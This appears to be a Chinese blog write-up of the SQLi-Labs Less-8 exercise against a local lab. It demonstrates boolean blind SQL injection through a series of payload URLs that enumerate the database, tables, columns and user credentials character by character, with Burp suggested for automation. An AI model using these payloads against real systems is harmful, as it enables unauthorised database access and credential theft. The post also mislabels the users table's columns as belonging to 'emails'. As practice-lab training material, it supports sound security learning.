sqlilabs—less8

Sqlilabs-less8

image-20220224172956445

1、判断注入点

http://127.0.0.1/sqlilabs/Less-8/?id=1' and 1=1%23

2、爆字段

http://127.0.0.1/sqlilabs/Less-8/?id=1' order by 3%23

3、判断数据库

联合查询无果后尝试盲注

(1)判断数据库名长度

http://127.0.0.1/sqlilabs/Less-8/?id=1' and length(database())=8 %23

(2)判断数据库名称

http://127.0.0.1/sqlilabs/Less-8/?id=1' and substr(database(),1,1)='s' %23

http://127.0.0.1/sqlilabs/Less-8/?id=1' and substr(database(),2,1)='e' %23

······

数据库名:security

4、判断表

(1)有几个表

http://127.0.0.1/sqlilabs/Less-8/?id=1' and (select count(*) from information_schema.tables where table_schema='security')=4 %23

(2)分别判断表长度

http://127.0.0.1/sqlilabs/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema = 'security' limit 0,1)=6 %23

http://127.0.0.1/sqlilabs/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema = 'security' limit 1,1)=8 %23

http://127.0.0.1/sqlilabs/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema = 'security' limit 2,1)=7 %23

http://127.0.0.1/sqlilabs/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema = 'security' limit 3,1)=5 %23

数据库:security
表1:长度为6
表2:长度为8
表3:长度为7
表4:长度为5

(3)分别判断表名称

http://127.0.0.1/sqlilabs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1)='e' %23

http://127.0.0.1/sqlilabs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),2,1)='m' %23

······

数据库:security
	表1:emails
	表2:referers
	表3:uagents
	表4:users

可以使用burp跑一下,对比长度判断回显

image-20220224200802859

image-20220224200833297

5、判断列

判断可得用户数据可能存放在users表中

(1)判断表中有几个字段(有几列)

http://127.0.0.1/sqlilabs/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name = 'users')=3 %23

······

(2)判断列长度

http://127.0.0.1/sqlilabs/Less-8/?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name = 'users' limit 0,1)=2 %23

(3)判断列名

http://127.0.0.1/sqlilabs/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name = 'users' limit 0,1),1,1)='i' %23

http://127.0.0.1/sqlilabs/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name = 'users' limit 0,1),2,1)='d' %23

······

数据库:security
	表1:emails,3列
		id
		username
		password
	表2:referers
	表3:uagents
	表4:users

6、读取数据

(1)判断几个数据

http://127.0.0.1/sqlilabs/Less-8/?id=1' and (select count(username) from users)=13 %23

(2)判断数据长度

http://127.0.0.1/sqlilabs/Less-8/?id=1' and (select length(username) from users limit 0,1)=4 %23

······

跑burp得

image-20220224203819617

数据库:security
	表1:emails,3列
		id
		username
		长4
		长8
		长5
		长6
		长6
		长8
		长6
		长5
		长6
		长6
		长6
		长7
		长6
		password

(3)读数据

and ascii(substr((select username from users limit 0,1),1,1))=68%23

一次跑burp得出数据

密码同理

image-20220224204354253

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shadow丶S

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值